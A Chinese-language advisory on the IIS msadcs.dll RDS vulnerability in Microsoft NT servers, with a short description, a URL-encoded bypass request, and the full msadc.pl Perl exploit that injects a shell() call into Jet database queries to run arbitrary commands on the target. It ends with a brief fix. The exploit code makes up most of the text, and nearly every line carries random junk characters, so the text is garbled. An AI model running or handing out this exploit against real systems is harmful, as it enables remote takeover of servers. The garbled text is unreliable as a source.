IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ZVVK:dDgt W !2(Ph* 涉及程序:
t!AHTtI Microsoft NT server
6|rqsk DU4NPys]y 描述:
@T|mHfQ8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o-_0 [&j!g 详细:
uf^"Y3 如果你没有时间读详细内容的话,就删除:
8 POrD8B c:\Program Files\Common Files\System\Msadc\msadcs.dll
+kd88Fx 有关的安全问题就没有了。
kNMhMEez OTl\^! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
$A9!} `V 88$G14aXEk 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
LwZBM#_g 关于利用ODBC远程漏洞的描述,请参看:
5 b( [1*
CY?]o4IV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]tanvJG}' nG1mx/w 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
~Wm`SIV http://www.microsoft.com/security/bulletins/MS99-025faq.asp :\NqGS=< Yi1_oe 这里不再论述。
Pv1C o: r3mB"("Z' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
F=EAD3 xV:.)Dq9 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@f{yx\u/ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\( LKLlam ,]w-!I U#gHc:$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
]0GOSh >r2m1}6g" #!perl
c BQ|mA #
NDm@\<MIzB # MSADC/RDS 'usage' (aka exploit) script
IpXg2QbN #
v(3nBZHv_! # by rain.forest.puppy
kzZtKN9Az #
`zAV# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
y@ J\h8_ # beta test and find errors!
iOm~ :c"J$wT/ use Socket; use Getopt::Std;
.L0pS.=LT getopts("e:vd:h:XR", \%args);
:W<aga;J _-H uO/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
s[)2z3 'm# -)R! if (!defined $args{h} && !defined $args{R}) {
W1f]A#t< print qq~
*YZ'Uy? Usage: msadc.pl -h <host> { -d <delay> -X -v }
lY[>}L*H8 -h <host> = host you want to scan (ip or domain)
'D#}ce)s# -d <seconds> = delay between calls, default 1 second
E B)j&y_ -X = dump Index Server path table, if available
WM}:%T- -v = verbose
Fl>v9%A -e = external dictionary file for step 5
k ~lj:7g~ <~!7? ak Or a -R will resume a command session
Ne,7[k _SjS^z~ ~; exit;}
EMU~gwPR ptQr8[FA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UTc$zc7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
us\@n" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Wxkk^J9F3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1eZ">,F6< $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
T5)Xl 'Q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aCcBmc Bs =V-0 if (!defined $args{R}){ $ret = &has_msadc;
C_dsYuQ5R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GeWB"(t 9E)*X print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p<?~~7V . "cmd /c ";
L7_(KC h $in=<STDIN>; chomp $in;
'Sppm;? $command="cmd /c " . $in ;
:k6|-A2 [@U8&W if (defined $args{R}) {&load; exit;}
8jd<|nYnfc J5)e 7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
vC E$)z'" &try_btcustmr;
^_9 ^iL Qh%/{6(u print "\nStep 2: Trying to make our own DSN...";
#B8`qFpQC &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
DQP#h5O Jy@cMq2 print "\nStep 3: Trying known DSNs...";
C$){H"# &known_dsn;
G]E$U]=9r: @^a6^*X> print "\nStep 4: Trying known .mdbs...";
~"\sL;B &known_mdb;
0*L|rJf 6[$kEKOY= if (defined $args{e}){
`)\_ print "\nStep 5: Trying dictionary of DSN names...";
Msn)jh &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.{k(4_Q?I I+D`\OSL print "Sorry Charley...maybe next time?\n";
&
d\`=e exit;
Q\z3YUk r(yJE1Wz ##############################################################################
x5v^@_:
jr ><"5
VwR sub sendraw { # ripped and modded from whisker
uEWW Y t sleep($delay); # it's a DoS on the server! At least on mine...
_DMj)enH" my ($pstr)=@_;
cE 8vSQ% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{.bLh0 die("Socket problems\n");
]/p0j$Tq$ if(connect(S,pack "SnA4x8",2,80,$target)){
<]/`#Xgh select(S); $|=1;
8H./@~_ = print $pstr; my @in=<S>;
[@kzC/Jq3 select(STDOUT); close(S);
g,Kb9[' return @in;
BS;rit: } else { die("Can't connect...\n"); }}
*0{MAm -Hh$3Uv ##############################################################################
W0tBF&E" {-^>)
iJqt sub make_header { # make the HTTP request
C@pDX>~2=b my $msadc=<<EOT
-kES]P?2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*u>2" !+Ob User-Agent: ACTIVEDATA
6ecr]=Cv Host: $ip
<3P?rcd,5K Content-Length: $clen
.Y_RI&B!L Connection: Keep-Alive
m{mK;D
00U8<~u ADCClientVersion:01.06
9XT6Gf56 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'gUHy1p &w2.b:HF --!ADM!ROX!YOUR!WORLD!
WaWT
5|A Content-Type: application/x-varg
6TfL|W< Content-Length: $reqlen
#Vv*2Mc j!mI9*hP EOT
X_HR$il ; $msadc=~s/\n/\r\n/g;
<^R\N# return $msadc;}
$msT,$NJ cIl^5eE^Pq ##############################################################################
!aa^kcEjnL O~{Zs\u9 sub make_req { # make the RDS request
%!(6vm>8 my ($switch, $p1, $p2)=@_;
XS9k&~)* my $req=""; my $t1, $t2, $query, $dsn;
/Ia=/Jj7N J9/9k if ($switch==1){ # this is the btcustmr.mdb query
z9h`sY~ $query="Select * from Customers where City=" . make_shell();
KPW: r#d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
TUy*wp9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XZd !c Ff TQ=\l*R(A elsif ($switch==2){ # this is general make table query
WRVKh $query="create table AZZ (B int, C varchar(10))";
}xLwv=Ia $dsn="$p1";}
@=Ly#HuUM "kP.Kx! elsif ($switch==3){ # this is general exploit table query
}5Y.N7F $query="select * from AZZ where C=" . make_shell();
Ma-^o<{ $dsn="$p1";}
`~@BU (d#?\ elsif ($switch==4){ # attempt to hork file info from index server
T%P0M* $query="select path from scope()";
J4`08, $dsn="Provider=MSIDXS;";}
gjo\gP@ bnD>/z]E elsif ($switch==5){ # bad query
JFYeOmR+l $query="select";
gl]{mUZz} $dsn="$p1";}
}{iR+MX M?}2 $t1= make_unicode($query);
QREIr |q' $t2= make_unicode($dsn);
XHN?pVZ7 $req = "\x02\x00\x03\x00";
? ~_%I $req.= "\x08\x00" . pack ("S1", length($t1));
NNe'5q9 $req.= "\x00\x00" . $t1 ;
k9}im $req.= "\x08\x00" . pack ("S1", length($t2));
2jx""{ $req.= "\x00\x00" . $t2 ;
= @3Qsd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
mT!~;]RrF return $req;}
sGdt) K<s\:$VVh ##############################################################################
HO' ELiZ_q WqYl=%x"{V sub make_shell { # this makes the shell() statement
$#t&W& return "'|shell(\"$command\")|'";}
l l&iMj] h!d#=.R ##############################################################################
i&_sbQ^ 6GJ?rE E/ sub make_unicode { # quick little function to convert to unicode
-$e\m]
}Z my ($in)=@_; my $out;
L
Q;JtLu1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&=02.E@ return $out;}
g1&GX(4[ BJW;A>@Pj ##############################################################################
pdtK3Pf =3 -G sub rdo_success { # checks for RDO return success (this is kludge)
Yt|{l my (@in) = @_; my $base=content_start(@in);
VaQ}XM if($in[$base]=~/multipart\/mixed/){
hKX-]+6" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t5 5k#`Z return 0;}
]^j)4us 8dL(cC ##############################################################################
2RM0ca_F 7&T1RB'> sub make_dsn { # this makes a DSN for us
*7-uQKp my @drives=("c","d","e","f");
p&ZD1qa print "\nMaking DSN: ";
,Hj=]e2? foreach $drive (@drives) {
V$:v~*Y9 print "$drive: ";
,&l>^w/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4;&( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
kA#>Xu/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;itz`9T $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d]a*)m& return 0 if $2 eq "404"; # not found/doesn't exist
fmloh1{4 if($2 eq "200") {
u1>| 2D foreach $line (@results) {
8+GlM+>4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
L{\B9b2 } return 0;}
O<o_MZN 9nd'"$ ##############################################################################
m3,]j\ WH'[~O sub verify_exists {
D+"5R5J", my ($page)=@_;
8|i&Gbw+ my @results=sendraw("GET $page HTTP/1.0\n\n");
GS)l{bS#[O return $results[0];}
.s,hl(w, 'MsxZqW"~ ##############################################################################
BBy/bc! e
`_ [+y sub try_btcustmr {
#x"pG my @drives=("c","d","e","f");
_=,[5" my @dirs=("winnt","winnt35","winnt351","win","windows");
~":?}) %] foreach $dir (@dirs) {
Pm;"Y!S< print "$dir -> "; # fun status so you can see progress
vp-)$f& foreach $drive (@drives) {
Vh'H5v^ print "$drive: "; # ditto
l} h<2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
j7O7P+DmS $reqlenlen=length( "$reqlen" );
m qtl0P0 $clen= 206 + $reqlenlen + $reqlen;
V&NOp z!t&zkAK my @results=sendraw(make_header() . make_req(1,$drive,$dir));
T`f9jD if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
OGh bH a else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O7q-MeMM "1`c^ ##############################################################################
Ok
O;V6` +mV4Ty sub odbc_error {
2<Ub[R my (@in)=@_; my $base;
l<^#@S H my $base = content_start(@in);
qTiX;e\W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_X;5ORH" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.$S`J2Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
RI cA)I. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l=bB,7gL return $in[$base+4].$in[$base+5].$in[$base+6];}
q6/ o.j print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
IXX^C}\, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
O/l|\n $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
!L-.bve! UZ&bT'>;9g ##############################################################################
4$ejJaE `^(6{p ? sub verbose {
0.|tKetHq my ($in)=@_;
Uj6R?E{Jt return if !$verbose;
0(-'L\<>x print STDOUT "\n$in\n";}
c9iCH~ AUxLch+"5K ##############################################################################
g"xLS}Al .U9NQwd sub save {
(a]'}c$X9` my ($p1, $p2, $p3, $p4)=@_;
j[) i>Qw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Cl4y9| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
nN/v7^^ close OUT;}
|~rDEv3 >0:h(,?V ##############################################################################
<}N0y*m @T]gwJ sub load {
yBht4"\Al my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)d0&iE`@ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
LDr!d1A @p=<IN>; close(IN);
^/mQo`[G $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
9?bfZF4A= $target= inet_aton($ip) || die("inet_aton problems");
W"VN2 print "Resuming to $ip ...";
aztP`S$h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
!W]># Pm if($p[1]==1) {
09%q/-$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
JB''Ujyi $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
BAg*zYV7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!);}zW! if (rdo_success(@results)){print "Success!\n";}
(al7/EhY else { print "failed\n"; verbose(odbc_error(@results));}}
vy@;zrs elsif ($p[1]==3){
%v
:a if(run_query("$p[3]")){
U7tT print "Success!\n";} else { print "failed\n"; }}
w*#TS8
\ elsif ($p[1]==4){
ldanM>5 if(run_query($drvst . "$p[3]")){
B2WPjhzD print "Success!\n"; } else { print "failed\n"; }}
5|S|HZ8G exit;}
RZm5[n :[|`&_D9J ##############################################################################
wToz{!n ~e, sub create_table {
/o+,
=7hY my ($in)=@_;
>:Xzv $reqlen=length( make_req(2,$in,"") ) - 28;
{B?%r[nW $reqlenlen=length( "$reqlen" );
4x e:+sA.N $clen= 206 + $reqlenlen + $reqlen;
jr"yIC_ my @results=sendraw(make_header() . make_req(2,$in,""));
roj/GZAy" return 1 if rdo_success(@results);
4h:Oo my $temp= odbc_error(@results); verbose($temp);
)8st return 1 if $temp=~/Table 'AZZ' already exists/;
Ml+.\'r return 0;}
~9h6"0K! J U}XSb ##############################################################################
C[n,j#Mvje DY~~pi~ sub known_dsn {
zdU<]ge # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
H6bomp" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V1xpJ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\
$X3n\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
`:i|y '[`.&-; foreach $dSn (@dsns) {
+CX2W(' print ".";
F@"Xd9q? next if (!is_access("DSN=$dSn"));
SO]x^+[ if(create_table("DSN=$dSn")){
jWUN~#p! print "$dSn successful\n";
u?Iop/b if(run_query("DSN=$dSn")){
+g7Iu! cA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q%o print "Something's borked. Use verbose next time\n";}}} print "\n";}
,Xo9gn
zRsT6u ##############################################################################
FspI[gUN, J);1Tpm sub is_access {
Rk2ZdNc\ my ($in)=@_;
]/JE# $reqlen=length( make_req(5,$in,"") ) - 28;
A9p$5jt7 $reqlenlen=length( "$reqlen" );
c c
,] $clen= 206 + $reqlenlen + $reqlen;
:==kC672 my @results=sendraw(make_header() . make_req(5,$in,""));
]bhzB my $temp= odbc_error(@results);
5(2g*I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
I;uZ/cZ|/ return 0;}
e>uV8!u >pG]#Z g ##############################################################################
,XI,B\eNk K&D
-1u sub run_query {
\P&'4y~PL my ($in)=@_;
EG7ki0 $reqlen=length( make_req(3,$in,"") ) - 28;
y 9/27yWB $reqlenlen=length( "$reqlen" );
$ hg
W>e $clen= 206 + $reqlenlen + $reqlen;
q<,?:g$k my @results=sendraw(make_header() . make_req(3,$in,""));
yr[iAi" return 1 if rdo_success(@results);
IDdhBdQ my $temp= odbc_error(@results); verbose($temp);
EOVHTDkKf return 0;}
.6(Bf$E ?n? Ep [D ##############################################################################
lOI(+74 8
x|NR? sub known_mdb {
Vnv<]D
zC my @drives=("c","d","e","f","g");
p9oru0q my @dirs=("winnt","winnt35","winnt351","win","windows");
67/hhO my $dir, $drive, $mdb;
2EQ:mjxk my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2X]2;W)S; g#9KG # this is sparse, because I don't know of many
/<zBcpVNV my @sysmdbs=( "\\catroot\\icatalog.mdb",
n KDX=73 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+3]@0VM26; "\\system32\\certmdb.mdb",
m-*du( "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6LNm>O 9);a 0}*5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_S2QY7/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
"MZVwl "E# "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ToDNBt.u{+ "\\cfusion\\cfapps\\security\\realm_.mdb",
yY`<t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jVi''#F?f "\\cfusion\\database\\cfexamples.mdb",
7! <cU "\\cfusion\\database\\cfsnippets.mdb",
N$:[`, "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)-2OraUm< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
9t7_7{Q+; "\\cfusion\\brighttiger\\database\\cleam.mdb",
Fg5>CppH "\\cfusion\\database\\smpolicy.mdb",
Ax=Rb
B" "\\cfusion\\database\cypress.mdb",
l: 1Zq_?v; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
M6pGf_qt "\\website\\cgi-win\\dbsample.mdb",
-.ha\ t0J "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
*1Nz
VV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
kTc'k ); #these are just
Ur?a%] foreach $drive (@drives) {
Y;xVB"
( foreach $dir (@dirs){
%CD}A%~ foreach $mdb (@sysmdbs) {
&"K74 print ".";
J3S@1"
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
B~caHG1b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9_5Fl,u
z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
PZeVjL?E print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
h+t{z"Ic= } else { print "Something's borked. Use verbose next time\n"; }}}}}
_Bb/~^ $-jj%x\} foreach $drive (@drives) {
h&NcN-[" foreach $mdb (@mdbs) {
psgXJe$ print ".";
hi`\3B if(create_table($drv . $drive . $dir . $mdb)){
7W5FHZd' print "\n" . $drive . $dir . $mdb . " successful\n";
@m1v B! if(run_query($drv . $drive . $dir . $mdb)){
J+Q
;'J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
|9~{&<^X } else { print "Something's borked. Use verbose next time\n"; }}}}
jiC;*]n }
\&Mipf7a ;oH%d;H ##############################################################################
jxZR%D 0p*(<8D} sub hork_idx {
VbKky1a@ print "\nAttempting to dump Index Server tables...\n";
Ex&f}/F print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`k
a!`nfo $reqlen=length( make_req(4,"","") ) - 28;
q,PB;TT $reqlenlen=length( "$reqlen" );
?UcW@B{ $clen= 206 + $reqlenlen + $reqlen;
a% Q.8 my @results=sendraw2(make_header() . make_req(4,"",""));
=S|SQz5%w if (rdo_success(@results)){
9fzbR~s my $max=@results; my $c; my %d;
5d*k[fZ for($c=19; $c<$max; $c++){
Y \& 4`v' $results[$c]=~s/\x00//g;
TStu)6%` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TsfOod $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
P%ev8]2 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#J\
2/~ $d{"$1$2"}="";}
(`<l" @:_* foreach $c (keys %d){ print "$c\n"; }
N$6Rg1 } else {print "Index server doesn't seem to be installed.\n"; }}
&t5pJ`$(Cy O<)"kj 7 ##############################################################################
Z>wg
o@z% <6Y o%xt sub dsn_dict {
ppM d open(IN, "<$args{e}") || die("Can't open external dictionary\n");
fY}e.lD while(<IN>){
PHyS^J` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!D7/Ja next if (!is_access("DSN=$dSn"));
p*-o33Ve if(create_table("DSN=$dSn")){
T,TKt% print "$dSn successful\n";
r[Qk-}@vp if(run_query("DSN=$dSn")){
DSM,dO' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
kK16+`\+ print "Something's borked. Use verbose next time\n";}}}
cr27q6_ print "\n"; close(IN);}
vMRM/. |F iL1_ ##############################################################################
i(a2FKLy z5=&qo|f9l sub sendraw2 { # ripped and modded from whisker
T]Vh]|_s sleep($delay); # it's a DoS on the server! At least on mine...
xD8x1- my ($pstr)=@_;
n,wLk./` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
dp&4G6Y<A die("Socket problems\n");
E;@`{ v if(connect(S,pack "SnA4x8",2,80,$target)){
s4@AK48 print "Connected. Getting data";
Hd
U1gV> open(OUT,">raw.out"); my @in;
5dXC select(S); $|=1; print $pstr;
EZ8Ih,j9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c}U&!R2p{ close(OUT); select(STDOUT); close(S); return @in;
Qx>S>f } else { die("Can't connect...\n"); }}
/E2/3z c#<v:b ##############################################################################
&s_[~g< 2w $o;zz1 sub content_start { # this will take in the server headers
Y`uL4)hR5 my (@in)=@_; my $c;
JcvWE
$ for ($c=1;$c<500;$c++) {
17a'C if($in[$c] =~/^\x0d\x0a/){
isLIfE> if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2ZNTj u7h else { return $c+1; }}}
|dsd5Vdr return -1;} # it should never get here actually
+#"CgZ] V&-pgxf; ##############################################################################
"]f0wLzh S#/[>Cb sub funky {
+?),BRCce my (@in)=@_; my $error=odbc_error(@in);
7M=LyrO if($error=~/ADO could not find the specified provider/){
<T>C}DGw print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]E .+)> exit;}
Q mT L- if($error=~/A Handler is required/){
ZZL.&Ho print "\nServer has custom handler filters (they most likely are patched)\n";
$z"3_4a exit;}
th}Q`vg0 if($error=~/specified Handler has denied Access/){
)[|`-M~u print "\nServer has custom handler filters (they most likely are patched)\n";
P3jDx{F exit;}}
f
wWI2"} OGw =e{ ##############################################################################
byR|L:L _5uzu6:y sub has_msadc {
d/vF^v*o0X my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ijOUv 6=- my $base=content_start(@results);
})#6BN return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
h[b;_>7 return 0;}
Nih8(pbe ?xu5/r< ########################
-.~Dhk $-H#M]Gq )EZ#BF<0| 解决方案:
~1jSz-s 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8Ux3,X= 2、移除web 目录: /msadc